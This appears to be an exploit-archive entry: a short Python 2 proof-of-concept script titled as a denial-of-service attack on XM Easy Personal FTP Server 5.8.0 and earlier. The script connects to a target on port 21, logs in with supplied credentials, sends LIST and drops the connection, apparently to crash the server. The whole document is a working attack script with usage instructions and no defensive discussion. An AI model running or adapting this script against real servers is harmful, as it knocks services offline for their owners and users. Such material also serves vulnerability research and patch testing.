XM Easy Personal FTP Server <= 5.8.0 DoS

#!/usr/bin/python import socket import sys def Usage(): print ("Usage: ./expl.py <serv_ip> <Username> <password>\n") print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n") if len(sys.argv) <> 4: Usage() sys.exit(1) else: hostname=sys.argv[1] username=sys.argv[2] passwd=sys.argv[3] sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((hostname, 21)) except: print ("Connection error!") sys.exit(1) r=sock.recv(1024) sock.send("user %s\r\n" %username) r=sock.recv(1024) sock.send("pass %s\r\n" %passwd) r=sock.recv(1024) sock.send("LIST\r\n") sock.close() sys.exit(0);